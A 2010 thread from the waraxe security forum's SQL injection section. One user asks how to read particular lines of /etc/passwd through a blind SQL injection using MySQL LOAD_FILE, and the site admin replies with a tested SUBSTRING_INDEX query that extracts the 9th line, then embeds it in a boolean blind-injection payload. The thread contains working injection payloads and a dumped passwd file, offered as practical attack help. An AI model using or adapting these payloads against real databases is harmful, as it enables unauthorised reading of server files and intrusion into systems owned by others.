Waraxe IT Security Portal
Login or Register
September 8, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 79
Members: 0
Total: 79
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Problem with SQL blind..'LIMIT'
Post new topicReply to topic View previous topic :: View next topic
Problem with SQL blind..'LIMIT'
PostPosted: Mon Jan 18, 2010 4:04 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Hey,

Code:
AND (substring((SELECT load_file('/etc/passwd') limit 0,1),1,1)='r')


I have a SQL blind ...and I wanna selecte a line into the file that I load'..When i try like that I just got the first one..

Code:
root:x..


So I want to choose another line for example as "www-data:x:33:33:www-data:/v.." I have tried with LIMIT x,y but it gave me the same result.. Need a solution please..

Code:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:102::/home/syslog:/bin/false
klog:x:103:103::/home/klog:/bin/false
cupsys:x:100:106::/home/cupsys:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false


Plz need help, is very important for me..and Thank's in advanced...
View user's profile Send private message Visit poster's website
PostPosted: Mon Jan 18, 2010 5:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




LOAD_FILE() does read in full contents of the file. In "/etc/password" lines are separated with newlines ("\n"), but still you can access all lines by using SUBSTRING() function in MySql. "LIMIT" is not needed here!
And if you want to access specific line in file directly, then use MySql string functions to find needed newline position and then substring with offset can do the work.

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring-index

Code:

Posted by Bob Collins on March 17 2006 8:56pm [Delete] [Edit]

MySQL does not include a function to split a delimited string. Although separated data would normally be split into separate fields within a relation data, spliting such can be useful either during initial data load/validation or where such data is held in a text field.

The following formula can be used to extract the Nth item in a delimited list, in this case the 3rd item "ccccc" in the example comma separated list.

select replace(substring(substring_index('aaa,bbbb,ccccc', ',', 3), length(substring_index('aaa,bbbb,ccccc', ',', 3 - 1)) + 1), ',', '') ITEM3

The above formula does not need the first item to be handled as a special case and returns empty strings correctly when the item count is less than the position requested.

View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jan 19, 2010 1:25 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Euh can you give me somes examples waraxe? with columns or load_file() function cuz I just have tried this and it doesnt workin'..Sorry and thank's for all things...


Code:
AND ascii(substring((SELECT SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),'\n',1)),1,1))>114


It give me just the same results as first.. ( root:...)

I'm waiting.. Rolling Eyes
View user's profile Send private message Visit poster's website
PostPosted: Tue Jan 19, 2010 2:13 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I did some practical tests in phpmyadmin and here is working example:

Code:

SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')


This piece of sql code will select 9-th line from "/etc/passwd".
Next you must put this code inside your sql payload:

Code:

AND (SUBSTRING((SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')),1,1)='w')
View user's profile Send private message Send e-mail Visit poster's website
Problem with SQL blind..'LIMIT'
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.123 Seconds